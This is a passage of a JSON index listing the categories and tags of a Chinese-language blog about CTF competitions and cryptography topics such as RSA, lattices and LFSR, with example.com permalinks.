Team","slug":"NSS/NSSCTF-Round-6-Team","permalink":"http://example.com/categories/NSS/NSSCTF-Round-6-Team/"},{"name":"赣育杯2022","slug":"赛事/赣育杯2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E8%B5%A3%E8%82%B2%E6%9D%AF2022/"},{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/categories/Lattice/"},{"name":"Practice","slug":"Lattice/Practice","permalink":"http://example.com/categories/Lattice/Practice/"},{"name":"DASCTF九月赛2022","slug":"buu/DASCTF九月赛2022","permalink":"http://example.com/categories/buu/DASCTF%E4%B9%9D%E6%9C%88%E8%B5%9B2022/"},{"name":"羊城杯","slug":"赛事/羊城杯","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E7%BE%8A%E5%9F%8E%E6%9D%AF/"},{"name":"网鼎杯2022","slug":"赛事/网鼎杯2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E7%BD%91%E9%BC%8E%E6%9D%AF2022/"},{"name":"DASCTF七月赋能赛2022","slug":"buu/DASCTF七月赋能赛2022","permalink":"http://example.com/categories/buu/DASCTF%E4%B8%83%E6%9C%88%E8%B5%8B%E8%83%BD%E8%B5%9B2022/"},{"name":"DiceCTF@HOPE2022","slug":"赛事/DiceCTF-HOPE2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/DiceCTF-HOPE2022/"},{"name":"NepCTF2022","slug":"赛事/NepCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/NepCTF2022/"},{"name":"ImaginaryCTF2022","slug":"赛事/ImaginaryCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/ImaginaryCTF2022/"},{"name":"蓝帽杯初赛2022","slug":"赛事/蓝帽杯初赛2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%88%9D%E8%B5%9B2022/"},{"name":"鹏城杯2022","slug":"赛事/鹏城杯2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E9%B9%8F%E5%9F%8E%E6%9D%AF2022/"},{"name":"XCTF","slug":"赛事/XCTF","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/XCTF/"},{"name":"ACTF2022","slug":"赛事/XCTF/ACTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/XCTF/ACTF2022/"},{"name":"内部赛","slug":"PWNHUB/内部赛","permalink":"http://example.com/categories/PWNHUB/%E5%86%85%E9%83%A8%E8%B5%9B/"},{"name":"Dest0g3-520迎新赛2022","slug":"buu/Dest0g3-520迎新赛2022","permalink":"http://example.com/categories/buu/Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B2022/"},{"name":"SEECTF2022","slug":"赛事/SEECTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/SEECTF2022/"},{"name":"Dest0g3 520迎新赛&ctfshow dsb","slug":"赛事/Dest0g3-520迎新赛-ctfshow-dsb","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B-ctfshow-dsb/"},{"name":"SCUCTF2022","slug":"赛事/SCUCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/SCUCTF2022/"},{"name":"对称密码","slug":"比赛/对称密码","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/"},{"name":"CBC Padding Oracle","slug":"比赛/对称密码/CBC-Padding-Oracle","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/CBC-Padding-Oracle/"},{"name":"TJCTF2022","slug":"赛事/TJCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/TJCTF2022/"},{"name":"STARCTF2022","slug":"赛事/XCTF/STARCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/XCTF/STARCTF2022/"},{"name":"CISCN","slug":"赛事/CISCN","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CISCN/"},{"name":"CISCN2021","slug":"赛事/CISCN/CISCN2021","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CISCN/CISCN2021/"},{"name":"Lessons","slug":"Lattice/Lessons","permalink":"http://example.com/categories/Lattice/Lessons/"},{"name":"Lattice-reduction","slug":"Lattice/Lattice-reduction","permalink":"http://example.com/categories/Lattice/Lattice-reduction/"},{"name":"CISCN2020","slug":"赛事/CISCN/CISCN2020","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CISCN/CISCN2020/"},{"name":"DASCTFXFATE2022","slug":"buu/DASCTFXFATE2022","permalink":"http://example.com/categories/buu/DASCTFXFATE2022/"},{"name":"春季赛","slug":"PWNHUB/春季赛","permalink":"http://example.com/categories/PWNHUB/%E6%98%A5%E5%AD%A3%E8%B5%9B/"},{"name":"CrewCTF2022","slug":"赛事/CrewCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CrewCTF2022/"},{"name":"威尔逊定理","slug":"比赛/RSA/威尔逊定理","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E5%A8%81%E5%B0%94%E9%80%8A%E5%AE%9A%E7%90%86/"},{"name":"SWPUCTF2021","slug":"赛事/SWPUCTF2021","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/SWPUCTF2021/"},{"name":"Vigenere","slug":"比赛/Vigenere","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/Vigenere/"},{"name":"DES","slug":"比赛/对称密码/DES","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/DES/"},{"name":"nullcon2022","slug":"赛事/nullcon2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/nullcon2022/"},{"name":"开发","slug":"开发","permalink":"http://example.com/categories/%E5%BC%80%E5%8F%91/"},{"name":"Python","slug":"开发/Python","permalink":"http://example.com/categories/%E5%BC%80%E5%8F%91/Python/"},{"name":"flask","slug":"开发/Python/flask","permalink":"http://example.com/categories/%E5%BC%80%E5%8F%91/Python/flask/"},{"name":"SpaceHeroesCTF NSSCTF MidnightSunCTF UMassCTF2022","slug":"赛事/SpaceHeroesCTF-NSSCTF-MidnightSunCTF-UMassCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/SpaceHeroesCTF-NSSCTF-MidnightSunCTF-UMassCTF2022/"},{"name":"数论或其它","slug":"比赛/RSA/数论或其它","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E6%95%B0%E8%AE%BA%E6%88%96%E5%85%B6%E5%AE%83/"},{"name":"NISACTF2022","slug":"赛事/NISACTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/NISACTF2022/"},{"name":"虎符CTF2022","slug":"赛事/虎符CTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E8%99%8E%E7%AC%A6CTF2022/"},{"name":"中间相遇攻击","slug":"比赛/对称密码/中间相遇攻击","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%AF%B9%E7%A7%B0%E5%AF%86%E7%A0%81/%E4%B8%AD%E9%97%B4%E7%9B%B8%E9%81%87%E6%94%BB%E5%87%BB/"},{"name":"pollard's p-1","slug":"比赛/RSA/pollard-s-p-1","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/pollard-s-p-1/"},{"name":"同态加密","slug":"比赛/同态加密","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%90%8C%E6%80%81%E5%8A%A0%E5%AF%86/"},{"name":"Paillier","slug":"比赛/同态加密/Paillier","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%90%8C%E6%80%81%E5%8A%A0%E5%AF%86/Paillier/"},{"name":"公开赛","slug":"PWNHUB/公开赛","permalink":"http://example.com/categories/PWNHUB/%E5%85%AC%E5%BC%80%E8%B5%9B/"},{"name":"LFSR","slug":"比赛/LFSR","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/LFSR/"},{"name":"矩阵方程求解法","slug":"比赛/LFSR/矩阵方程求解法","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/LFSR/%E7%9F%A9%E9%98%B5%E6%96%B9%E7%A8%8B%E6%B1%82%E8%A7%A3%E6%B3%95/"},{"name":"小指数加密","slug":"比赛/RSA/小指数加密","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E5%B0%8F%E6%8C%87%E6%95%B0%E5%8A%A0%E5%AF%86/"},{"name":"Secret Sharing","slug":"比赛/Secret-Sharing","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/Secret-Sharing/"},{"name":"Shamir&Asmuth-Bloom","slug":"比赛/Secret-Sharing/Shamir-Asmuth-Bloom","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/Secret-Sharing/Shamir-Asmuth-Bloom/"},{"name":"刷题总结","slug":"buu/刷题总结","permalink":"http://example.com/categories/buu/%E5%88%B7%E9%A2%98%E6%80%BB%E7%BB%93/"},{"name":"HSC-1th 2022","slug":"赛事/HSC-1th-2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/HSC-1th-2022/"},{"name":"VNCTF2022","slug":"赛事/VNCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/VNCTF2022/"},{"name":"Docker学习","slug":"Docker学习","permalink":"http://example.com/categories/Docker%E5%AD%A6%E4%B9%A0/"},{"name":"Blockchain","slug":"Blockchain","permalink":"http://example.com/categories/Blockchain/"},{"name":"基础知识","slug":"Blockchain/基础知识","permalink":"http://example.com/categories/Blockchain/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"},{"name":"HGAME2022","slug":"赛事/HGAME2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/HGAME2022/"},{"name":"CTFshow-1024杯","slug":"赛事/CTFshow-1024杯","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CTFshow-1024%E6%9D%AF/"},{"name":"基本原理","slug":"比赛/LFSR/基本原理","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/LFSR/%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/"},{"name":"CTFshow-摆烂杯","slug":"赛事/CTFshow-摆烂杯","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CTFshow-%E6%91%86%E7%83%82%E6%9D%AF/"},{"name":"CTFshow-月饼杯","slug":"赛事/CTFshow-月饼杯","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CTFshow-%E6%9C%88%E9%A5%BC%E6%9D%AF/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/categories/ctfshow/"},{"name":"其它加密算法","slug":"其它加密算法","permalink":"http://example.com/categories/%E5%85%B6%E5%AE%83%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/"},{"name":"长安战疫2022","slug":"赛事/长安战疫2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E9%95%BF%E5%AE%89%E6%88%98%E7%96%AB2022/"},{"name":"python数据结构与算法","slug":"python数据结构与算法","permalink":"http://example.com/categories/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/"},{"name":"伪随机数生成器","slug":"比赛/伪随机数生成器","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90%E5%99%A8/"},{"name":"LCG","slug":"比赛/伪随机数生成器/LCG","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90%E5%99%A8/LCG/"},{"name":"CTFWiki","slug":"CTFWiki","permalink":"http://example.com/categories/CTFWiki/"},{"name":"维纳攻击","slug":"比赛/RSA/维纳攻击","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E7%BB%B4%E7%BA%B3%E6%94%BB%E5%87%BB/"}],"tags":[{"name":"Hello World","slug":"Hello-World","permalink":"http://example.com/tags/Hello-World/"},{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"刷题","slug":"刷题","permalink":"http://example.com/tags/%E5%88%B7%E9%A2%98/"},{"name":"buu","slug":"buu","permalink":"http://example.com/tags/buu/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"pwnhub","slug":"pwnhub","permalink":"http://example.com/tags/pwnhub/"},{"name":"内网渗透","slug":"内网渗透","permalink":"http://example.com/tags/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"Copper","slug":"Copper","permalink":"http://example.com/tags/Copper/"},{"name":"运维","slug":"运维","permalink":"http://example.com/tags/%E8%BF%90%E7%BB%B4/"},{"name":"macos","slug":"macos","permalink":"http://example.com/tags/macos/"},{"name":"NSS","slug":"NSS","permalink":"http://example.com/tags/NSS/"},{"name":"新生赛","slug":"新生赛","permalink":"http://example.com/tags/%E6%96%B0%E7%94%9F%E8%B5%9B/"},{"name":"re","slug":"re","permalink":"http://example.com/tags/re/"},{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/tags/Lattice/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"},{"name":"AI","slug":"AI","permalink":"http://example.com/tags/AI/"},{"name":"AES","slug":"AES","permalink":"http://example.com/tags/AES/"},{"name":"CBC","slug":"CBC","permalink":"http://example.com/tags/CBC/"},{"name":"padding","slug":"padding","permalink":"http://example.com/tags/padding/"},{"name":"威尔逊定理","slug":"威尔逊定理","permalink":"http://example.com/tags/%E5%A8%81%E5%B0%94%E9%80%8A%E5%AE%9A%E7%90%86/"},{"name":"Vigenere","slug":"Vigenere","permalink":"http://example.com/tags/Vigenere/"},{"name":"DES","slug":"DES","permalink":"http://example.com/tags/DES/"},{"name":"轮密钥算法","slug":"轮密钥算法","permalink":"http://example.com/tags/%E8%BD%AE%E5%AF%86%E9%92%A5%E7%AE%97%E6%B3%95/"},{"name":"开发","slug":"开发","permalink":"http://example.com/tags/%E5%BC%80%E5%8F%91/"},{"name":"flask","slug":"flask","permalink":"http://example.com/tags/flask/"},{"name":"数论","slug":"数论","permalink":"http://example.com/tags/%E6%95%B0%E8%AE%BA/"},{"name":"中间相遇攻击","slug":"中间相遇攻击","permalink":"http://example.com/tags/%E4%B8%AD%E9%97%B4%E7%9B%B8%E9%81%87%E6%94%BB%E5%87%BB/"},{"name":"光滑数攻击","slug":"光滑数攻击","permalink":"http://example.com/tags/%E5%85%89%E6%BB%91%E6%95%B0%E6%94%BB%E5%87%BB/"},{"name":"同态加密","slug":"同态加密","permalink":"http://example.com/tags/%E5%90%8C%E6%80%81%E5%8A%A0%E5%AF%86/"},{"name":"LFSR","slug":"LFSR","permalink":"http://example.com/tags/LFSR/"},{"name":"小指数加密","slug":"小指数加密","permalink":"http://example.com/tags/%E5%B0%8F%E6%8C%87%E6%95%B0%E5%8A%A0%E5%AF%86/"},{"name":"中国剩余定理","slug":"中国剩余定理","permalink":"http://example.com/tags/%E4%B8%AD%E5%9B%BD%E5%89%A9%E4%BD%99%E5%AE%9A%E7%90%86/"},{"name":"Secret Sharing","slug":"Secret-Sharing","permalink":"http://example.com/tags/Secret-Sharing/"},{"name":"docker","slug":"docker","permalink":"http://example.com/tags/docker/"},{"name":"Blockchain","slug":"Blockchain","permalink":"http://example.com/tags/Blockchain/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"},{"name":"python数据结构","slug":"python数据结构","permalink":"http://example.com/tags/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"},{"name":"队列","slug":"队列","permalink":"http://example.com/tags/%E9%98%9F%E5%88%97/"},{"name":"PRNG","slug":"PRNG","permalink":"http://example.com/tags/PRNG/"},{"name":"LCG","slug":"LCG","permalink":"http://example.com/tags/LCG/"},{"name":"栈","slug":"栈","permalink":"http://example.com/tags/%E6%A0%88/"},{"name":"CTFWiki","slug":"CTFWiki","permalink":"http://example.com/tags/CTFWiki/"},{"name":"仿射密码","slug":"仿射密码","permalink":"http://example.com/tags/%E4%BB%BF%E5%B0%84%E5%AF%86%E7%A0%81/"},{"name":"维纳攻击","slug":"维纳攻击","permalink":"http://example.com/tags/%E7%BB%B4%E7%BA%B3%E6%94%BB%E5%87%BB/"},{"name":"python基础","slug":"python基础","permalink":"http://example.com/tags/python%E5%9F%BA%E7%A1%80/"},{"name":"面向对象","slug":"面向对象","permalink":"http://example.com/tags/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1/"}]}
Morty Proxy This is a proxified and sanitized view of the page, visit original site.